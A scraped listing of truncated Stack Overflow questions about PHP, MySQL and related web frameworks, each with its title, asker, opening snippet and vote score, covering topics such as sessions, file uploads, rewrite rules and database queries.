Q: Displaying stored column data in table format

user2669924I am trying to display the selected values in columns as table format from the database. I have columns name listingsdbelements_field_name and listingsdbelements_field_value in the database , i am extracting the data like this $sql1 = "select listingsdb.listingsdb_id, listingsdb.listingsdb_tit...

0
Q: Show mysql data in a dynamic image php

Kirilasi'm working on a dynamic user stat's signature. Here's my code: <?php //Send a generated image to the browser create_image(); exit(); $config->Host = ''; $config->User = ''; $config->Pass = ''; $config->DB = '';; $con = mysql_connect($config->Host,$config->User,$config->Pass); if (!$con) ...

0
Q: Error in timestamp function

ahmad slimanI try to get the count of days between two dates like: $day = ( strtotime('25-09-2013') - strtotime('01-01-2009') ) / ( 24*60*60 ); results returns is: "1727.9583333333", How come ?!

0
Q: Trouble linking models together in CakePHP

harrygI have 3 models/tables as described holding An individual financial holding for a portfolio at a point in time. The fields here are id, date, sedol_id, value sedol A table with sedol-specific data. asset More general data about an asset. Several sedols can refer to the same asset, but a...

0
Q: PHP soapClient send custom XML

JaviI'm trying to make a SOAP request using soapClient class from PHP that's my code: $xmlstr = <<<XML <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://localhost:8090/mockCustomerManagement/types"> <soapenv:Header>...

0
Q: Sending Arabic text from Android phone to online MySQl database

John JaredI made an application that sends few text inputs from android to my online database. My application ran good, but some users reported that they can't use Arabic text. So I tried, and When I send Arabic text in the database it appears as ????? ????? ?????? My php script: <?php $connect = mysql_c...

0
Q: CdbCriteria does not work for two fields at the same time

user2770039I have created 4 radiobuttons in advanced search form using the below code. <div class="row"> <?php #echo $form->label($model,'ReviewedDate'); ?> <?php echo $form->radioButtonList($model, 'ReviewedDate', array('1' => 'Reviewed', '' => 'Not Reviewed') ); ?>...

0
Q: configuring gmail smtp in a contact form

XufyanThis is the configuration of my contact form for the Gmail SMTP, <Config> <smtp> <use>yes</use> <auth>no</auth> <secure>tls</secure> <host>smtp.gmail.com</host> <username>abc@gmail.com</username> <password>1234567</p...

0
Q: Updating Multiple HTML Fields into MySQL Database with PHP

KickingLettuceThis seems like a very basic task; I am not sure if I am having a brain cramp or if I ran into something a bit more rare. But it doesn't seem so. I have a table called products that have these columns: ID, Model, Cost, Quantity My HTML form prints out all price and quantity discounts by model...

0
Q: Site only works if .php is added to the files can someone help write rule for pages?

MixmastermichaelSo I have a php site, here: http://driveusatruck.com/homepage/about.php that page for instance ONLY works if you manually add .php to the end of the file, which is fine, but when you browse around to other pages of the site, you'll see that they don't work. Is it possible to create a re-write som...

0
Q: HTTPS background images using ip address?

WallterI have a website using CodeIgniter (an older version that has been upgraded over time by several developers). The site works 100% fine using HTTP (my test environment can't use HTTPS) but when I switch to HTTPS all of the CSS background images switch to using the IP Address?   In every page, ...

0
Q: PHP Foreach Associative Array Loop for Sendy API

soulglow1985I always struggle with loops and in particular associative arrays is still new to me and trying to get past it. I am trying to setup a form to insert multiple emails at once into our sendy email list through the use of their api. I am successful in inserting the first email into the list, but the...

0
Q: manual php array only returning last value

JoshcI am populating a wordpress gravity form using one of there pre render filters. I follow their documentation normally and I dynamically populate $items[] using a foreach loop which works every time. But this time I am not dynamically making a php foreach loop for the $items[] array, I am manual...

0
Q: How to resize an image in YII?

user2507316When I try to load and resize an image: $image = Yii::app()->image->load($path); $image->resize(400, 100); I get this error Property "CWebApplication.image" is not defined. I've tried in the config file to put this: 'image'=>array( 'class'=>'application.extensions.image.CImageCom...

0
Q: Delete S3 object with slashes in object name using REST API

peacemakerI'm having trouble deleting an object in one of my buckets which uses slashes in the object name to help with organization. For example, my bucket name is wecombinate and my object name is products/images/image1.png When I try to delete, I get "[BucketNotEmpty] The bucket you tried to delete is...

0
Q: Load html content of a file to another web page

Anna GeeSo I have www.siteA.com and www.siteB.com. Site A is my main site and site B is where I store some few web pages mostly html pages. I want to load a webpage from site B into a page of site A. So far, I have search SO about how to do this and found this one Insert external page html into a page ht...

0
Q: how to go one record back in mysqli_query result object

UDBi know mysqli_data_seek let us move at the desired offset but how can i use it to go just one step back when a specific criteria met. I am using while loop for the condition so you can conclude that when the condition will be met the pointer will be on next record how can i pull it back just one...

0
Q: FTP mkdir function

Abhishek kadadifailed to open stream: No such file or directory in .I have tried all possible paths! $name=$_POST['name']; $name=strtolower($name); if (is_dir("./Abhishek/Project/events/$name")) { echo 'Event Already Present'; } else { mkdir("./Abhishek/Project/events/$name"); include './upload/fileup...

0
Q: call_user_func in Zend 2 partial file raise "Serialization of 'Closure' is not allowed"

herophuongScope: Zend Framework 2 I want to dynamically use different view helper in my partial file. Thus I use this code: echo $this->partial('partial/field.phtml', array('form' => $form, 'field' => 'stuffname', 'inputViewHelper' => 'formInput')); then in file field.phtml: <div class="control-group">...

0
Q: Creating a simple php Statistics tool

adanna ijeomai want to implement a simple php page that displays info i have some devices which i can telnet into via port 24, insert the telnet password, and run some commands like "connectionInfo" for example, which prints info like total connections 132 successful 101 unsuccessful 31 last connection ...

-1
Q: php send mail always error

user2649248i have an error like this Warning: mysql_fetch_array() expects parameter 1 to be resource, string given in /home/sibisier/public_html/customer/input_customer_issue.php on line 543 and this is the code in line 543 $query_email = "SELECT employee.nip, employee.nama, employee.job_title, ...

0
Q: How to copy string to array from left?

Ali HasanzadeMy string data like this: 100350 3 text1 10.00 30.00 100121 76 text2 13.00 39.00 The text should be divided by five equal from the left and put in into array (sorry for grammar) for e.g array[0] = "100350 " array[1] = "3" array[2] = "text1" array[3] = "10.00" array[4] = "30.00" ......

-1
Q: programming Concept to understanding confusion concept

anil mauryaI want o know what is disadvantage of indexing in database? what is use of cURL? how we can use cURL to update facebook status or twitter status please help me

0
Q: hot to multiple upload and explode uploads

supercooldropsOkay. I have a problem. I'm trying to do multiple upload to a directory and a mysql database. The code uploads to the directory and the database but the names do not appear for each upload. include_once('connector.php'); for($i=0;$_FILES["upload_file"]["name"][$i]==true;$i++) { ...

0
Q: How to escape a # within a SQL CONCAT for anchor in URL

Ryan HartmanI'm setting up a database query to access and link to comments, but I am having trouble escaping the # symbol within the CONCAT. Here is my current query: SELECT c.subject, CONCAT('node/', c.nid, '/comment-', c.cid) FROM {comments} c WHERE c.subject LIKE LOWER(:like_word) Which creates urls li...

0
Q: php soap error fetching http headers

Jason NeumannI am working on a php script that's processing a lot of data through a soap connection. Estimates of the total run time of the script look to be several days if it doesn't encounter any errors. The problem I'm running into is the script will run for a while, anywhere from an hour to a day, and th...

0
Q: str_replace function doesn't work to replace character from a user inputted data

Eli_junI have a user inputted description in my textarea. The description inputted value looks like this when assigned to a variable <p style="text-align:center;">user inputted description text</p> since I am using a rich text editor as my textarea. I want to replace the character " with a space using t...

0
Q: array_intersect throws errors when arrays have sub-arrays

Force FlowI'm trying to use array_intersect to compare two arrays of arrays. $start[]=array( 'id'=1234, 'name'='Up', 'action'='up' ); $start[]=array( 'id'=5678, 'name'='Down', 'action'='down' ); $start[]=array( 'id'=9012, 'name'='Left', 'action'='left' ); $end[]=array( 'id'=1234, 'name'='something', 'ac...

-2
Q: ajax file upload not working on server

trogneI don't know why, but my file upload is not working on the server : http://aorbaroquethrash.com/ajaxfileupload/ It is working locally. I get : "Warning: Invalid argument supplied for foreach() in /home1/trogne/public_html/ajaxfileupload/upload.php on line 3" But the problem is not the php. If...

-5
Q: PHP Code to RUBY Code

JadCan anybody translate this php code to ruby? public function stribet($input, $left, $right) { $pl = stripos($input, $left) + strlen($left); $pr = stripos($input, $right, $pl); return substr($input, $pl, $pr - $pl); ...

0
Q: Lemonstand: Skip shipping method in checkout

indextwoA client will always have free shipping for all of their products sold through their Lemonstand store, so they want the Shipping Method step removed from the checkout, as it would be an unnecessary extra click for the user. And since it's a free shipping on every item regardless, they didn't want...

0
Q: Refresh page using echo with variable

JoeMorganI'm using the following piece of code to refresh the page after a few query's have been carried out: echo '<META HTTP-EQUIV=Refresh //CONTENT="0; URL=editeventstaff.php?id=".$_POST[id]."">'; The current url contains an 'id' variable passed from the pervious page. Therefore when the page refres...

0
Q: Wordpress theme breaking on anything but home page

Joshso I am building a custom wordpress theme for a client (I am a freelancer, pretty new to wordpress) and I have built the main theme that works 100% on the home page, but when I go into a post, archive, etc, the image path breaks, the sidebar breaks. I have attached photos for you to see: And th...

0
Q: Preg_Match false results

user2816134OK, so I am working on a login system, and I am working on preventing user input that I don't want, part of my verification is determining that the username is only alphanumeric, as well as the password, as well as a separate verification for the email. So I found several examples to use on php.n...

0
Q: i want to reduce this code by codeigniter

Jihad Mahfouzi want to reduce this code and set it useabilty public function index() { $this -> load -> view('header'); $this -> load -> view('navigation'); $this -> load -> view('default_form'); $this -> load -> view('footer'); } public function view_courses() { $this -> load -> vie...

0
Q: Doctrine2 generating INSERT statement that overrides SQL default value

setharellI'm having a similar problem that is explained in this post but the offered solution does not work in my case. Here's the issue... I am using Symfony2, which uses Doctrine2 for the ORM, to insert new users into the database. When I use the object method to insert the user, a null value is insert...

0
Q: Zend Framework, setting up multiple templates for the same code base

chrisReally not sure if the title of the question suits the question overall. But here goes. What I have currently is an existing SaaS project. That we want to roll out a new template over time. Think of how google introduces new features. Or some other sites might with "Try our new Beta Version".. t...

0
Q: Not getting push notifications to the Android device

Jonas RanerydI'm trying to send push notifications to an Android device using PHP and according to the result I get from Google, it should be working. Result from Google: stdClass Object ( [multicast_id] => 6.72923727292E+18 [success] => 1 [failure] => 0 [canonical_ids] => 0 [results] =>...

0
Q: Create photo albums and upload photos using the Facebook Graph API

Rabesh Lal ShresthaI used Facebook graph api to upload photos in facebook from my site using codeigniter. But multiple times uploaded same images in facebook. My code as follows: $user = $this->facebook->get_users(); if($user==0) { $loginUrl = $facebook->getLoginUrl( array(‘scope’ => ‘read_stream,publish_stream,ph...

0
Q: Insert key and value into array

maged aliI have this code $array = array('o' => 'one', 't' => 'three', 'f' => 'four'); array_push($array, array('s' => 'six')); print_r($array); that insert new key and value into the array , but when i print the new $array it returned this Array ( [o] => one [t] => three [f] => four [0] => Array ( ...

3
Q: Mysqlnd unable to connect to MySQL 5.5 server

tubaguy50035I'm trying to get a site running locally that is currently running on a dev server running PHP 5.3.10. It connects to a MySQL server that is version 5.5, but has old_password set to ON. The site works on the dev server. On my local, I am running PHP 5.3.26 and when trying to connect I get: Wa...

0
Q: Sending an array from JS to PHP?

panthroformData.append('gallery[]', {file: 'file', comment: 'comment', youTube: 'youtube'}); I'm sending my data from js to php using formData and a XMLHttpRequest. The problem is the above dumps as a string: string(15) "[object Object]" When I loop through it: foreach($input['gallery'] as $gall...

0
Q: Hiding a paragraph if input is empty

MeeheeI have a small function that grabs the input values from my html page and puts them through a php function that will display them in a list. My goal is that if a field is left blank, the PHP script doesn't echo anything so that it would skip that instance entirely. It's probably better to show ...

0
Q: Cakephp HABTM relationship returns join table

user782161I have a CakePHP website which i'm adding a blog to, there is a single table for the blog posts ("posts"), this table has a HABTM relationship with "post_categories" and "post_tags", and there are two tables to establish this relationship ("post_categories_posts" and "post_tags_posts"). the struc...

0
Q: TDD with Yii and captcha

IvanSI have a problem with test my model for validation. I want to test some validation (password compare, required fields and etc). But I cant! I have a problem witch captcha. How can I solve it? How to pass captcha for success test?

0
Q: Redirect if url missing Google Analytics parameters

Dirty Bird DesignFor a landing page campaign we're pulling in some variables from the url. I need a way to check and see if the 'utm_source=' is present in the url and if it is not redirect the user. We only want traffic from our banner ads, which all have Google Analtyics Links (incl. utm_source). For example ...

0
Q: Save Cart items in a Table

Anne Buenai'm working on a mini shopping site with cart. I was able to do the adding of items in the cart but how can i save each items on a database table. What I mean is for example.. there are 2 items with 2 quantity each inside the cart. I want to save the first item on the first row and the other one ...

0
Q: PHP list all files in directory - with link to file?

user2816187Related to this post: "PHP list all files in directory" PHP list all files in directory Specifically the code displayed by "Apr 19 '12 at 12:24 " Kiko" I was wondering if anyone can suggest how to determine the folder path to the file itself: i.e. $html .= "<li><span class='file'><a href='???...

0
Q: How to populate a datagridview with json?

CristianCVI've been looking for this site and have not found a problem as specific as mine, I'll explain. I have an application in VB that actualente working with a database that has attached ACCES. I WANT to run my application sending SQL statements to a PHP that queries and returns a JSON. I have host...

-1
Q: an open source for change sound tones

user2816140am working on mobile web and am using html 5, PHP and i want to record my voice and then convert it to anther tone as an example auto-tone (t-pain) the question is there an open source code or an API application that can do the work

0
Q: Why does my form-generated user comment expand beyond borders of a fixed width table and div?

TheBewilderedChemistI should preface this by saying I have already tried several fixes found on this site for similar questions (such as CSS: How to set the table column width constant regardless of the amount of text in its cells?) to no avail. I am generating tables of user comments (1 comment per table) via AJAX...

-1
Q: error on setup php on windows 8

Peter FreyI want to setup PHP for command line usage on my Windows 8 64 bit. I did not manage to do this though. What I did so far is: 1) download and run http://windows.php.net/downloads/releases/ Wednesday, July 10, 2013 9:57 PM php-5.3.27-win32-VC9-x86.msi (I did choose win32 as there ...

-1
Q: English dictionary for php

user2816220I want to create a php web app where users will enter any word, and the meanings and parts of speech of that respective word will be fetched and shown to them ... For that I need a solid database of a good dictionary, but I can't find it. Any good free full dictionary in XML format ? Or anything...

-2
Q: How to extract text between tags using php

Sumit BijvaniI have HTML code like below <tr> <td class="csms"> <h3> <div class="swrapper">Text1<br>Text2<br></div> </h3> </td> </tr> <tr> <td class="csms"> <h3> <div class="swrapper">Text3<br>Text4<br></div> </h3> </td> </tr> <tr> <...

0
Q: Composer: scan only tag names, not the entire composer.json

tomekwiI use composer mainly to manage git repositories (both local and remote). Composer reads every tagged instance of composer.json in all historical commits: Reading composer.json of tomekwi/composer-installers (v1.0.0) Importing tag v1.0.0 (1.0.0.0) Reading composer.json of tomekwi/composer-instal...

0
Q: How to get value of data-flag

CBC_NSCommunity, I have a select drop down which is trying to pass two variables to javascript. The first variable is (source_id) and the second is (source_flag). My select looks like the following... <select id="ticket_source" name="ticket_source" onchange="showEmail(this)"> <option value="">Select...

-1
Q: PHP - Sessions in Chrome

A.O.I've noticed that when I load my page when I already have an active Session, as opposed to loading the page through the login screen, that the Event Listener Count is dramatically LESS. What is it about already having and active session (and not having to login first) causes the Event Listener C...

0
Q: Get number of pages in a .doc document on linux

DimitrisWith respect to the topic: How to get the number of pages in a Word Document on linux? has anyone been successful with .doc files (.docx are resolved)? Thank you

0
Q: trying to access mov file from iPhone safari browser via a (non-public) URL. No working

Vikas SinghI am using codeigniter but I dont think its specific to code-igniter but may be to apache/php or HTTP request in general. I have tried http://mobiforge.com/developing/story/content-delivery-mobile-devices but no success function mymethod() { if (is_file($path_to_content)) { header("Content...

-4
Q: PHP - Download youtube videos

Rachid LaasriI wrote a simple code to download all the available formats for a YouTube video. The code bellow show the urls as http://r2---sn-p5h-gc5z.c.youtube.com/videoplayback?ip=196.217.52.102&expire=1380154143&key=yt1&id=43ed29ee8802e759&sparams=cp%2Cid%2Cip%2Cipbits%2Citag%2Cratebypass%2Csource%2Cu...

0
Q: How do I make Symfony ignore the cache when user calls a page after logging in?

user148313Im Using Symfony 2.3, and I have enabled the Symfony Reverse Proxy cache. It works, but not as I want it and not sure what to do. So, User comes to site, visits a page. Logs in, navigates back to page viewed before login but is served the page he was shown before logging in, without any of the l...

-4
Q: How to send object in java URL class and how to get it in php

user28162971)I send ArrayList object in java URL class attached as argument in url but php has not facility to get Java Object i think it is not possible. If it is possible then please help. 2)when i fail to send object in URL then i want to write all data (which is in ArrayList object) in a text file and...

0
Q: Issue with FastCGI

UAMotoOn my website I have a catalog page: http://website.com/beads and pagination links at the bottom of the page Pagination links on my local server looks like http://website.com/beads/page2, http://website.com/beads/page3 etc On hosting it looks like http://website.com/beads/page2?/beads=, http://...

0
Q: can seem to submit form in codeigniter and go to next view?

eoinbelow is my 'mainview.php' view. from here iam attempting to submit and just open the next view which is called 'carerview.php'. <form action="<?php echo base_url()?>login" method="post"> <div class="input-prepend"><span class="add-on"><i class="icon-envelope"></i></span> ...

-4
Q: Uploading image and creating thumbnail for that image?

Mohammed HabibI uploaded my site to the server and then try to upload photos I found that server did not do any thumbs of any picture however it worked normally in localhost Please help me.

0
Q: Remove “/ent/” subfolder with mod_rewrite

Gösta HonkHello I used to publish my website from a subfolder but it's now moved to root. The problem is that I have a lot of links with the subfolder "/ent/" included. Some urls also have index.php included, if someone could help to get rid of that to it would be great!. Example: http://www.myurl.com/en...

0
Q: Yii show confirmation window after validate and before save

user2816238guys! I have to implement a specific behavior on page admin.php (to insert or update records) in Yii. Currently, when the user clicks the Save button, the application submits the page and makes the server side validations, reloading the page, showing the errors (if exists), or redirected to a se...

0
Q: Use realpath() for both files and images

mhopkins321I have a directory tree like the below root index.php /inc 1levelData.php 1level.php /images db.png What I am trying to figure out is a way I can set an absolute path that can be used for both including files and images. In addition, a method that wi...

0
Q: Optimize plugins load

user2766117I'm developing a tool in web languages and using some jquery and other plugins...(Like jquery UI, nyromodal). But in my main page i use the tabs functionality of jquery ui.This tabs loads external pages. The problem is that i have to add the "includes" in every page and reload it when clicking on...

0
Q: RegEx for select integer number (without DOT)

Ali HasanzadeI need a preg_match code for replace DOTTED numbers With white space For example: 55.00 56 5.6 72 55.00 and 5.6 should be replace with " "

0
Q: How can I get a multi-demsional array in php from a mysql query containing multiple joins

emanateI have 4 tables that are set up to have hierarchical data. I'm trying to get the data back through a join and find a re-usable way to get a multi-dimensional array from the results which I can potentially use with a different table layout in the future. Ultimately I want to spit it out as json. I...

0
Q: PHP EVENT CALENDAR DISABLE ADD EVENT ON WEEKEND

heheheHi i have put this php event calendar http://www.phpcodeworks.com/pec on my developing system. may i ask if how can i disable adding event on a saturday/sunday? :) do you think this has to do with this code? function dayPullDown($day) { echo "<select name=\"day\">\n"; $selected[$day] = ' sele...

0
Q: PHP and Jqurey ajax string conversion

JorgeWhen I do pass this string Cafê© to jquery ajax, then the php file that gets the request reads it as Caf��. Any idea on what string conversion should I use to pass it in ajax and read it as the same?

0
Q: First click on select doesn't selecting the value (filter by text function)

user2796493Hello i got problem with my select box in HTML. First click on this box sometimes doesn't selecting the value but only "focusing" it? (i don't know that this is a good word for it) I made screen to help You explain what i mean: Link to image What can i do to avoid this? When user will click i h...

0
Q: there is no table row or lines when export to excel

user2656724hello im facing this kind of problem. when i export data to excel. i can export the data but the problem is that when i open it to excel there is no lines or table lines display in my excel. i have this code so far. can i have any idea from all of you who is expert when it comes to this matter.? <...

0
Q: Adding a secondary WHERE statement to PDO/MySql statement

keithiopianI have a PDO/MySQL database connection. My database holds content for various landing pages. To view these landing pages I enter *localhost/landing_page_wireframe.php* and append with ?lps=X (where X represents the Thread_Segment) to display the particular page in the browser. I am now getting to...

0
Q: Jquery twitter follow doesnt work after submit

nikzI've made this jquery code that should output a text message and submit a form after clicking the twitter follow button. <script type="text/javascript" charset="utf-8"> twttr.ready(function (twttr) { twttr.events.bind('follow', function(e) { $('.like-button1').text('Thanks!'); $('.form1').submit...

0
Q: PHP split ul evenly into 3 columns Joomla Menu Module

Dawid van der HovenI am currently creating a joomla menu module, but Ive come across some issues.. i am trying to split the sub menu items into 3 columns, currently i am using this: $counter = 0; if($item->level == 2): $counter += count($item); endif; if($item->level == 1): $counter = 0; endif; if($coun...

0
Q: Decode qr code in html/html5 and php?

user2556079I have a very simple html form where I can upload an image. My intent is to upload an image, png, bmp, etc. and then press a pseudo-button "decoding" that return me the url, for example www.mashable.com. So it's possible to do something like this in a easy way?The only one solution I've found is...

0
Q: PHP Making a table with data from Array

Tony glassI'm trying to create a scoreboard for a PC game that will display our members' player stats in a table. The code I have right now to collect the data and put it in an array (I'm not sure if it's correct) is. <?php $dump = file_get_contents('http://battlefield.play4free.com/en/profile/stats/2278...

0
Q: how to calculation Number 100/100*10

lace06how to calculation in php Number /100 * % = Value Number + Value i have 500 i want 4% in 30 day But every day over the summit, which gave the number that preceded Example: code: <input type="texte" name="Number"> <input type="texte" name="%"> <input type="texte" name="day"> <input type="submit...

0
Q: I am having trouble correcting the syntax of these double and single quotes in PHP/HTML

user2643898I'm having trouble with the syntax of the second line, in particular, figuring out the proper quotes around $row[type] relative to the rest of the statement. Thanks! while ($row2 = mysqli_fetch_assoc($type_result)) { $row["done"] == "checked" ? $selected= " selected = ""{$row['type']}"" : $...

0
Q: Get culture/local in Entity

claudio3949I have simply Entity: /** * Claudio\PageBundle\Entity\Page */ class Page { // private $id; private $title; private $text_en; private $text_fr; //getters and setters for all } And i would add for this getter: public function getText() { $culture = ???; if($cul...

-1
Q: How do you concatenate two strings in a for loop in PHP?

user2816376How do you concatenate the two strings in the for loop so they will equal $cat1 - 8 ? $cat1 = $row["catagory1"]; $cat2 = $row["catagory2"]; $cat3 = $row["catagory3"]; $cat4 = $row["catagory4"]; $cat5 = $row["catagory5"]; $cat6 = $row["catagory6"]; $cat7 = $row["catagory7"]; $cat8 = $row["catagor...

0
Q: php nested categories generates wrong output

fefeI have a problem with my recursion which retrieves categories and subcategories from my category table, my html method generates a wrong output. The subcategory is getting added twice as parent category public function getCategories() { $refs = array(); $list = array(); // Get a d...

0
Q: if functions radio submit

Bill FlippenNeed a little help with doing stuff witha radio selection. In PHP I am setting up a form with 4 selections. <form name='type'action=<?php echo $PHP_SELF;?>"> Select one of the following:<br> <input type='radio' value= '*' name='all'> All Memebers this season<br> <input type='radio' value= 'L' na...

0
Q: Linux CentOS php-cgi and Apache issues, possible issue with Wordpress?

user2816336So I'm fairly new to Linux and web servers but we moved our sites from a shared hosting environment to a Linux Virtual Server about 8 months ago, much faster and has ran bullet proof until we re-build one of our sites in Wordpress and published. The WP site ran fine on a test server but now that...

0
Q: How to check if php://input is set?

sagitsi need to check if php://input exists/isset. Does it work with php is_set ? How the proper way to check it? Thank you for your time.

0
Q: PHP EVENT CALENDAR DISABLE POSTING EVENT ON WEEKEND

hehehefunction postMessage(day, month, year) { eval( "page" + day + " = window.open('eventform.php?d=" + day + "&m=" + month + "&y=" + year + "', 'postScreen', 'toolbar=0,scrollbars=1,location=0," + "statusbar=0,menubar=0,resizable=1,width=340,height=400');" );} have put this PHP event calendar http...

0
Q: php post variable to next page as per condition check

user2129623I am trying post method to send var checking some condition If user logged in then show button and on click post data to ind.php if not logged in show label code : <?php session_start(); $appId = 'fgf'; $appSecret = ''; // Facebook App Secret $return_url = 'amazonaws.com/'; //path to scri...

0
Q: Php code runs twice from url request

JakeMozMy php code for a website I am designing is running twice. This is day three of the bug and I am running out of options. I have used the error log to confirm that the script is running twice. [25-Sep-2013 11:18:27] PHP Notice: renaming. should not see this twice... in /home3/projedc4/public_h...

0
Q: Take data from last 14 days and compare with the latest 7 days

oliverbjI have this MySQL table: typ | user | data | value typ = what type of data user = whos the user data = date the data was inserted value = value inserted So this table is updated automatically in my cronjob. Usually one user will have multiply rows in this table, since it will insert a new ro...

0
Q: PHP - Content Encoding Error & 500 Internal server error

AkbarSome pages in my website raise "Content Encoding Error". I was search this terms and some body said this happen when contents in page have different encoding. And many person related this issue to gz_handler in output buffering with ob_start(gz_handler). But I have not this code in my source! I r...

0
Q: How can I check If a certain cell is equal to 0 in MySQL from PHP?

D.WilsonSorry to bother you but I have spent hours browsing the internet for an answer to my question, I have searched Google and even asked on yahoo answers but I cannot find a solution to my problem. I have a database, and in that database is a column called active and it is default to 0. In PHP I wan...

0
Q: CSS Footer Styling

XanderI am working on a WordPress site that was built by someone else, and currently I'm trying to style the footer and am having some problems. First of all, it won't let my style by selecting any of the divs in the tag, It will only work if I directly select the html element (footer [role=contentin...

0
Q: Wordpress Plugin "The Cart Press" And Authorize.net

Air BiscuitI am using the cart press plugin for wordpress and authorize.net to process the payments. Unfortunataly after I loaded in all the tickets I sell I noticed that the plugin does not add line items to the payment function. I have tried contacting the plugin developer and he told me he would try to g...

0
Q: Maximum execution time of 30 seconds exceeded in C:\wamp\apps\phpmyadmin3.5.1\libraries\dbi\mysqli.dbi.lib.php on line 8

CAOThis here is the entire error SCREAM: Error suppression ignored for ( ! ) Fatal error: Maximum execution time of 30 seconds exceeded in C:\wamp\apps\phpmyadmin3.5.1\libraries\dbi\mysqli.dbi.lib.php on line 8 Call Stack # Time Memory Function Location 1 1.1589 287288 {main}( ) ..\i...

0
Q: Redirect certain filetypes to another folder

HultinMy problem is this, right now I have to link to /theme/css/somecssfile.css, what I want to be able to do is this /css/somecssfile.css, but still keep the physical file in /theme/. This is my current .htaccess # Enable Rewriting RewriteEngine on #Gzip <ifmodule mod_deflate.c> AddOutputFil...

0
Q: jQuery addClass removeClass PHP equivalent?

Jose David Garcia LlanosI am adding and removing classes to elements using jQuery like so; jQuery('div.myDiv').addClass('testDiv).removeClass('myDiv'); Which successfully adds a new class to the div element "myDiv" and then it removes the original class. I really need to be able to achieve this in PHP, is there an e...

-2
Q: IDE that supports PHP,Javascript,HTML,css etc and has syntax highlighting

user2816245What would you recommenced? Is thier a IDE that supports all these languages and can highlight them?

0
Q: Markdown generate Table of Contents — using PHP and as array

Jay ClaitonI know there are similar questions about it, but I have the requirements of using PHP and that it doesn't generate HTML, but that it will be saved in an array(). Alternatively it can also use the generated HTML to generate the Table of Contents array. I just can't figure out how I can append th...

0
Q: Xcode, can't receive json Data from PHP File

user2757638My PHP Script: $result = mysql_query('Select * FROM _events'); $rows = array(); while($r = mysql_fetch_assoc($result)) { $rows['results'][] = $r; } print json_encode($rows); Result: {"results":[{"id":"1","title":"Night Run","url":"http://www.orf.at","date":"01.10.2013"},{"i...

0
Q: php - get different dates in while loop

oliverbjI have this while loop: <?php $q=mysql_query("SELECT * FROM xeon_stats_clicks WHERE user='".$userdata['username']."' AND typ='4' ORDER BY data DESC LIMIT 8") or die(mysql_error()); while($clickData=mysql_fetch_assoc($q)): $r=mysql_query("SELECT sum(value)...

-1
Q: Passing load scripts to subpages

user2766117I'm developing a site and it contains some jquery plugins. I Have a main page that loads all the plugins and shows a tabs content providede by jqueryui. In wich tab i have a page that is load via ajax propably, so what i'm look for is too load the plugins just in that main page. Now i have to l...

0
Q: How to count number and size of HTTP requests and responses in php + apache server apache2.2.25/php5

nsivaram90Is there any log / configuration with which i get the number of requests and responses along with their size and processing time ? So that I can calculate the load for the purpose mentioned in this question. Version of apache used is apache is 2.2.25 and php5

0
Q: PHP Multiple tables, Multiple Insert & Updates

AllenI am trying to update 3 tables and insert on 2. The thing is I get errors and I get some tables to update and insert, I am thinking there is a better way to put this. Please give me some wonderful input. Sorry that this is horrible coding. :( require 'includes/db_connect.php'; if ( !empty($_P...

0
Q: Can't register cookie, i got an error code about headers. Really no idea what is the probleme

user2632603Hey, I have the following code. It's work perfectly on a Localhost: if(isset($_GET['vote']) AND isset($_GET['ididea'])) { setcookie($_GET['ididea'], $_GET['ididea'], time() + 365*24*3600, null, null, false, true); } And this is the error by the server: Warning: Cannot modify header inform...

0
Q: How to access a remote directory and copy files in PHP

user2796886I want to copy files from a remote directory. But I don't know how to write its UNC. I can use file://Server/Production/Images to open the directory in a browser, but it can't work if I just use this path in my PHP script. $origin = "file://Sever/Prodution/Images"; $file = scandir($origin); ...

0
Q: Zend - is it bad practice to check user authentication in layout?

SlimZend noob question: Just curious, would anyone consider it bad practice to check user authentication in a layout, and output a different element in the layout if a user is logged-in? I usually see this done in views, but not the layout. I tried passing the user authentication value to the layou...

0
Q: Seamlessly transition from online to offline with PHP / MySQL client?

user1647550I have PHP / MySQL front-end that uses some very large forms to collect data. I have the data saving to the database at regular intervals using a JSON post in the background. Occasionally, the user loses connectivity, but continues working. That data is then lost, causing frustration, etc... Is ...

0
Q: 2nd Variable in url in echoing

StevoBotOk, I am trying to get a variable from a url using PHP. Currently the site I am working with gets a the first url and sets it as a cookie. I am trying to get the second url and use it with our analytics software. The current url is: http://www.peeweepenguin.com?cu=10031 the url I am trying to use...

0
Q: I can remotely connect to mySQL database in command line, but not with php script

AlfThe Error: Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[28000] [1045] Access denied for user 'tech'@'localhost' (using password: YES)' in ....... I'm able to remotely connect in command line, but not using php, any ideas where to look? Here are the details: Webserver A...

0
Q: Class mysqli not found

abcdefghI have used mysqli to connect to the database in my application. It worked fine for a few days and suddenly it started showing the following error: Fatal error: Class 'mysqli' not found The line i used to connect to the database is: $link = new mysqli('localhost', 'uname', 'password', 'scri...

0
Q: Multiple User registration using cake php not working

Nuzhat AhmedI want to try and register a user depinding on the type of user they are. I have set an enum field in the user table in the database for usertype. This is my registration form. <?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ echo $this->

0
Q: DISABLE ONCLICK ON PHP EVENT CALENDAR

heheheI used this http://www.phpcodeworks.com/pec in my system and i wanted to disable the add event on the saturday and sunday. what do you think is the best possible way? function postMessage(day, month, year) { eval( "page" + day + " = window.open('eventform.php?d=" + day + "&m=" + month + "&y=" ...

-2
Q: how can i make my php script send data to my database and open a new registration page

Terry Cheerio Spielbergcan someone please show me an example of a php script that would get posted information in a form and send to the database and also open a new page for registration continuation, tried $_SESSION["VALID_USER_ID"] = $funid $_SESSION["FIRST_NAME"] = $first_name); $_SESSION["L...

0
Q: Facebook PHP page tab app - $_SESSION does not sustain when a user closes their browser window

JayI have a page tab app that is a contest with a like gate. A user likes a page, provides their email address and hits submit to enter the contest. After they enter, I set a session variable $_SESSION['entered'] = '1'; or something similar Once they enter, I show more information on the page(ht...

0
Q: Eclipse PDT ApacheTomcat setup

LucBasically I want to [run as] > [php web application] a php file in a PHP project in Eclipse (PDT installed, Apache-Tomcat running - localhost:8080 ). I know is a simple mapping issue - if I copy/paste my php file in [apache-tomact directory]\webapps\ROOT - everything works fine, while trying to ...

0
Q: $_SESSION doesn't work well with memcache

user2783132To improve performance I changed my session.save_handler to memcache the problem is that $_sessions doesn't work. in php session_start(); $_SESSION['admin_referrer'] = $_SERVER['REQUEST_URI']; ... different page session_start(); echo $_SESSION['admin_referrer'] if I change session.save_hand...

0
Q: How test doubles, help me test

